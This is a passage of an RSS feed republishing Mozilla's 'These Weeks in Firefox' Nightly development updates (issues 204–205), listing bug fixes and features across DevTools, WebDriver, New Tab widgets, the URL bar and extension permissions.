<li>made sure that calls to History.replaceState are reflected in the UI (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037359">#2037359</a>)</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030260">#2030260</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed the image preview tooltip for relative URLs images in constructed stylesheet (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035503">#2035503</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026228">#2026228</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Amin Amir cleaned up an <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">incorrect variable assignment</a> in our browsingContext module.</li>
<li>Logan Rosen <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036603">updated stale references and broken links</a> in our documentation about Marionette.</li>
<li>Sameem improved the Marionette and WebDriver BiDi <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020302">screenshot commands to enforce maximum allowed dimensions</a>.</li>
<li>Leo McArdle fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030964">the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”</a>.</li>
<li>Henrik Skupin fixed an issue in Marionette where <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033769">WebDriver:Navigate and WebDriver:Refresh did not handle errors</a> when the underlying navigation failed.</li>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1839953">improved geckodriver to detect an early Firefox exit during startup on Android</a>, avoiding up to 60 seconds of unnecessary connection attempts.</li>
<li>Henrik Skupin updated the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028933">geckodriver CI build job to produce a universal macOS binary</a> supporting both x64 and aarch64.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Sylvestre <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023411">ported some linters</a> (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words &amp; more) to Rust to help improve the runtime of the code review bot.</li>
<li>Dale has been working on migration to moz-src for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034040">customkeys</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035086">dom/quota</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035295">odom/geolocation</a>
<ul>
<li><a href="https://arewemozsrcyet.com/">https://arewemozsrcyet.com/</a></li>
</ul>
</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
<ul>
<li>We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.</li>
</ul>
</li>
<li>Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.</li>
<li>Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!</li>
</ul>
<p><img alt="World clock widget in New Tab featuring different time zones for YTO, BER, SYD, and LAX." class="aligncenter wp-image-2079 size-full" height="162" src="https://blog.nightly.mozilla.org/files/2026/06/image3-1.png" width="346"></p>
<h4>Search and Urlbar</h4>
<ul>
<li>Nova (URL Bar Design Refresh)
<ul>
<li>Drew and Daisuke continued their work on <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015612">Nova styling for the Address bar</a> (input and view).</li>
</ul>
</li>
<li>Search and Suggest
<ul>
<li>Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035322">update the localization string for scheduled games</a> and another to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034350">show both teams’ icons in suggestions</a>. Drew also landed and uplifted a fix for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035353">rich search suggestion icons being forced into a square aspect ratio</a>.</li>
<li>Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.</li>
</ul>
</li>
<li>Settings Redesign (SRD)
<ul>
<li>Stephanie landed a test to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021512">ensure search suggestion settings are hidden when quicksuggest is disabled</a>, as well as a patch to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031341">resolve TypeScript issues</a> in search.mjs, and is adding test coverage to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2007397">confirm removed search engines are not displayed in the default engines dropdown</a>.</li>
</ul>
</li>
<li>General URL Bar and Component Updates
<ul>
<li>Daisuke landed implementation of the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1893083">context menu on URL bar results</a>, and a fix to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020177">show the loading URL in the URL bar when starting up with a homepage</a>.
<ul>
<li>Marco is working on several tasks, including a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1756564">PDF download / focus stealing issue</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1924124">allowing arrays to be bound in Sqlite.sys.mjs</a>. Marco also worked on fixes related to Places, such as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743">avoiding replacing the favicons database if it is not corrupt</a>.</li>
</ul>
</li>
<li>Standard8 finalized the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028423">URL bar test manifest split</a>. Standard8 also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016401">upgraded us to TypeScript 6</a>.</li>
<li>Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032973">Bug 2032973</a>), which was also uplifted. Moritz also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034507">simplified search mode switcher item activation in tests</a>, and made it so that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036030">the unified search button popup closes when installing an open search engine</a>.</li>
</ul>
</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li>natural language starting with tab close/undo <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035343">2035343</a> with expandable action log <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031508">2031508</a></li>
</ul>
<p><img alt="Tab close and undo actions in Smart Window accompanied by an expandable log of actions taken" class="aligncenter wp-image-2077 size-full" height="256" src="https://blog.nightly.mozilla.org/files/2026/06/image1-1.png" width="220"></p>
<ul>
<li>assistant rendering feedback up/down <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032994">2032994</a> and markdown table <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027029">2027029</a></li>
<li>nova styling blur <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027877">2027877</a> and suggestions <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026823">2026823</a></li>
<li>accessibility screen reader <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028676">2028676</a> and keyboard focus <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037565">2037565</a></li>
<li>optimize conversation starters extra requests <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030005">2030005</a> and caching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033430">2033430</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Nova token updates occasionally, focused on SRD</li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035942">2035942</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Settings redesign is being tested and will hopefully go out in Firefox 152!</li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204]]></title>
<description><![CDATA[Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on let...]]></description>
<link>https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:31 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Maxx Crawford <a href="https://bugzil.la/2041708">added a pref to hide the New Tab logo </a>so users can opt out of branding without altering page layout or resorting to CSS overrides.</li>
<li>Harshit <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041819">enabled video overlay detection</a> in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
<ul>
<li><a href="https://www.instagram.com/p/DXH8Rd6EcWo/">You can try it out on this Instagram reel</a> in Nightly</li>
</ul>
</li>
</ul>
<p><img alt="Firefox context menu video controls like Pause, Unmute, Speed and Loop." class="aligncenter size-full wp-image-2081" height="431" src="https://blog.nightly.mozilla.org/files/2026/06/image2-2.png" width="480"></p>
<ul>
<li>A note to WebExtension authors – as part of a <a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/">planned deprecation announced last month</a>, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015559"> Bug 2015559</a></li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> added support and debugging for modern attr()(which is <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038939">enabled on Nightly</a>) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014751">#2014751</a>)</li>
</ul>
<p><img alt="Tooltip in Firefox DevTools for mismatched syntax with attr()" class="aligncenter size-full wp-image-2082" height="164" src="https://blog.nightly.mozilla.org/files/2026/06/image1-2.png" width="872"></p>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1717176%2C2031328%2C2038948%2C2011485%2C1455294%2C2035084%2C2039455%2C2036767%2C2039878%2C2013176%2C2022414%2C2036237%2C2036578%2C2041612%2C1262773&amp;list_id=17986996">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Sam Johnson</li>
<li>Sebastian Zartner [:sebo]</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Immaculate Atim: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022414">Switch to using an array instead of an object string for browser.backup.enabled_on.profiles</a></li>
<li>liz: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011485">Screenshots overlay visible on both splitview browsers</a></li>
<li>🌟 Rahman Mahmutović [:r_m]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">Can’t change content in box model in inspector for box-sizing:border-box elements</a></li>
<li>Takeru Mitsumori: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038948">Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html</a></li>
<li>🌟 Freya Arbjerg [:freyacodes]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">Blackboxed columns are ignored</a></li>
<li> tom.passarelli: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031328">tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1881767"> Bug 1881767</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1745823"> Bug 1745823</a></li>
<li>Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904054"> Bug 1904054</a>
<ul>
<li>Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed handling of &lt;all_urls&gt; as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758306"> Bug 1758306</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789324">Rahman Mahmutović [:r_m]</a> made it possible to edit width/height in the box model section of the Layout panel (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">#1717176</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> improved toggling tools driving in-page highlighters (e.g. the Measuring) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1262773">#1262773</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> added a setting to control visibility of HTML comments in the markup view (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1455294">#1455294</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789044">Freya Arbjerg [:freyacodes]</a> fixed an issue in script blackboxing (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">#2036767</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> replaced custom preference to log RDP messages with MOZ_LOG (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1622857">#1622857</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> fixed retrieval of garbage collected script text content (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758454">#1758454</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Sameem updated the “Take Element Screenshot” command from WebDriver Classic to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013176">crop screenshots of elements which exceed the viewport</a>. This aligns with the specification and avoids errors when attempting to capture huge elements.</li>
<li>Alexandra Borovova updated the events for new top-level browsing contexts: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930594">we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used</a>. This is required to align with the expected per-spec behavior.</li>
<li>Henrik Skupin landed a patch <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1430064">allowing geckodriver to gracefully shut down Firefox</a> when geckodriver itself is terminated.</li>
<li>Hiroyuki Ikezoe <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040252">disabled Firefox’s “scroll axis lock” feature</a> so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Added a rule to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1790711">prevent new uses of Preferences.sys.mjs</a>.</li>
<li>The browser environment globals within ESLint have <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1793814">now been updated</a>. These include Sanitizer, VideoFrame and a few other new ones.</li>
<li>Temporal, and some other definitions have been <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999036">added to TypeScript</a>.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Much has happened in the last 2 weeks! <a href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=RESOLVED%2CVERIFIED%2CCLOSED&amp;resolution=FIXED&amp;chfieldfrom=2026-05-12T14%3A40%3A16.019Z&amp;chfieldto=Now&amp;bug_id=2015530%2C2024720%2C2028377%2C2028534%2C2033592%2C2035176%2C2036902%2C2037143%2C2037301%2C2037541%2C2037646%2C2037947%2C2038048%2C2038392%2C2038790%2C2038823%2C2038881%2C2038981%2C2038984%2C2039103%2C2039107%2C2039333%2C2039346%2C2039358%2C2039477%2C2039587%2C2039752%2C2039765%2C2039770%2C2039775%2C2039956%2C2039963%2C2040027%2C2040033%2C2040254%2C2040269%2C2040370%2C2040376%2C2040480%2C2040481%2C2040503%2C2040552%2C2040645%2C2040674%2C2040677%2C2041033%2C2041163%2C2041196%2C2041204%2C2041205%2C2041207%2C2041244%2C2041532%2C2041651%2C2041682%2C2041708%2C2041711%2C2041730%2C2041757%2C2041765%2C2041814%2C2042054&amp;product=Firefox&amp;component=New+Tab+Page">Here’s a full bug list</a>, and here are some highlights.</li>
<li>Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (<a href="https://bugzil.la/2033592">2033592</a>) — prevents accidental list creation and improves the Lists UI reliability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2035176"> fixed Weather widget small card layout issues with opt-in location options and an error message displayed</a>, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2037301"> added key dates state to the Sports widget</a>, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.</li>
<li>Scott Downe<a href="https://bugzil.la/2037541"> added a manage widgets option to the New Tab nova widgets context menu</a>, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.</li>
<li>Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see<a href="https://bugzil.la/2037947"> Newtab widget base component</a>.</li>
<li>Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see<a href="https://bugzil.la/2038048"> Convert widget expansion handling to shared widget expansion</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2038881"> updated the Sports widget to populate the “follow teams” state from the /teams endpoint</a>, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.</li>
<li>Scott Downe<a href="https://bugzil.la/2038981"> moved widget menu items</a> within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.</li>
<li>Dre<a href="https://bugzil.la/2039346"> fixed a World Clock city search bug </a>for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.</li>
<li>Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see<a href="https://bugzil.la/2040033"> Newtab small weather widget size change doesn’t always work</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2040269"> added a group stage section to match highlights</a> in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.</li>
<li>Dre<a href="https://bugzil.la/2040376"> fixed the small world clock widget not expanding to large while editing clocks</a> so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040480"> added WCW OMC message strings</a> so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2040552"> added a “View all” button and a list view for the results tab at medium widget size</a> so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040674"> added WCW “Watch Live” stream strings to the Sports widget strings bundle</a> so the widget can surface a localized “Watch Live” CTA for applicable events.</li>
<li>Dre<a href="https://bugzil.la/2040677"> restored VoiceOver reachability for Edit/Remove in World Clock on macOS</a> so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.</li>
<li>Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (<a href="https://bugzil.la/2041033">2041033</a>).</li>
<li>Mike Conley added New Tab jest tests to the node tests Tier 1 CI job<a href="https://bugzil.la/2041757"> Run newtab jest tests as part of node tests Tier 1 job</a> to catch regressions earlier in CI</li>
<li>Irene Ni shipped multiple visual fixes for the Sports widget<a href="https://bugzil.la/2041765"> Sports widget – various visual fixes</a> (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.</li>
</ul>
<h4>Picture-in-Picture</h4>
<ul>
<li>kpatenio <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041113">adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably</a>, especially when selecting videos from the YouTube search page.</li>
<li>Thanks to Sylvestre for patching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037420">some</a> <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042141">bugs</a> to prevent some spurious console errors!</li>
<li>Niklas <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013735">fixed captions on autopip videos failing to sync with the origin videos</a>.</li>
</ul>
<h4>Performance Tools (aka <a href="https://profiler.firefox.com/">Firefox Profiler</a>)</h4>
<ul>
<li>Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
<ul>
<li><a href="https://www.npmjs.com/package/@firefox-devtools/profiler-cli">https://www.npmjs.com/package/@firefox-devtools/profiler-cli</a></li>
<li>You can install it with npm install -g @firefox-devtools/profiler-cli@latest</li>
</ul>
</li>
</ul>
<h4>Search and Urlbar</h4>
<h6>Nova UI refresh</h6>
<ul>
<li>Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019154">2019154</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019152">2019152</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041501">2041501</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040532">2040532</a></li>
</ul>
<h6>Suggest</h6>
<ul>
<li>Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040561">2040561</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039753">2039753</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035614">2035614</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038843">2038843</a></li>
</ul>
<h6>Adaptive autofill</h6>
<ul>
<li>James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040819">2040819</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037177">2037177</a></li>
</ul>
<h6>Quick actions</h6>
<ul>
<li>Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.</li>
<li>Caleb added Calculator support for certain unicode operators.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023169">2023169</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1928635">1928635</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1923383">1923383</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033861">2033861</a></li>
</ul>
<h6>Multi Context Address Bar</h6>
<ul>
<li>Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039297">2039297</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036095">2036095</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039844">2039844</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037933">2037933</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030050">2030050</a></li>
</ul>
<h6><i>Other</i></h6>
<ul>
<li>Marco, Drew and Daisuke fixed several intermittent test failures.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038510">2038510</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023908">2023908</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011584">2011584</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938142">1938142</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1971091">1971091</a></li>
</ul>
<h5>Search</h5>
<ul>
<li>Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from <i>resource://search-extensions/</i>.</li>
<li>Caleb fixed multiple documentation issues and added a test covering searches from a private window.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904613">1904613</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035878">2035878</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037942">2037942</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033545">2033545</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2005724">2005724</a></li>
</ul>
<h5>Places</h5>
<ul>
<li>Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.</li>
<li>Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039534">2039534</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1505800">1505800</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008829">2008829</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029541">2029541</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035084">2035084</a></li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Eyedropper Quick Action, geckodriver 0.37, and Tighter File Permissions – These Weeks in Firefox: Issue 205]]></title>
<description><![CDATA[Highlights

Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (Bug 1803575) on Nightly.



Henrik Skupin released geckodriver 0.37.0, which includes support for several new APIs and various bug fixes. See the release page for details.
Starting ...]]></description>
<link>https://tsecurity.de/de/3693292/tools/firefox-nightly-eyedropper-quick-action-geckodriver-037-and-tighter-file-permissions-these-weeks-in-firefox-issue-205/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693292/tools/firefox-nightly-eyedropper-quick-action-geckodriver-037-and-tighter-file-permissions-these-weeks-in-firefox-issue-205/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:28 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1803575">Bug 1803575</a>) on Nightly.</li>
</ul>
<p><img alt='Firefox URL bar dropdown with "col" typed in, showing an eyedropper button labeled "Pick a color" below search suggestions.' class="aligncenter size-full wp-image-2084" height="358" src="https://blog.nightly.mozilla.org/files/2026/06/image1-3.png" width="724"></p>
<ul>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938333">released geckodriver 0.37.0</a>, which includes support for several new APIs and various bug fixes. See the <a href="https://github.com/mozilla/geckodriver/releases/tag/v0.37.0">release page for details</a>.</li>
<li>Starting from Firefox 153, access to local file: URLs is being restricted by default.
<ul>
<li>Extensions now require an explicit “Access local files on your computer” permission, separate from broad host permissions, that users must grant.</li>
<li>Extensions can call the extension.isAllowedFileSchemeAccess() API to determine whether they have been granted access to file: URLs (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034168">Bug 2034168</a>).</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1941404%2C2039281%2C2024187%2C1674047%2C1986161%2C2043187%2C2019260%2C2027580%2C2027582%2C2041640%2C2039294%2C2042309%2C1830551%2C2031735%2C2043952%2C1972065%2C2043958%2C2042419%2C2042820%2C2022661%2C1994826%2C2041802%2C1315558%2C1930776%2C2042921%2C2043938">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>:Vincent</li>
<li>Chris Vander Linden</li>
<li>DrSeed</li>
<li>Khalid AlHaddad</li>
<li>Sam Johnson</li>
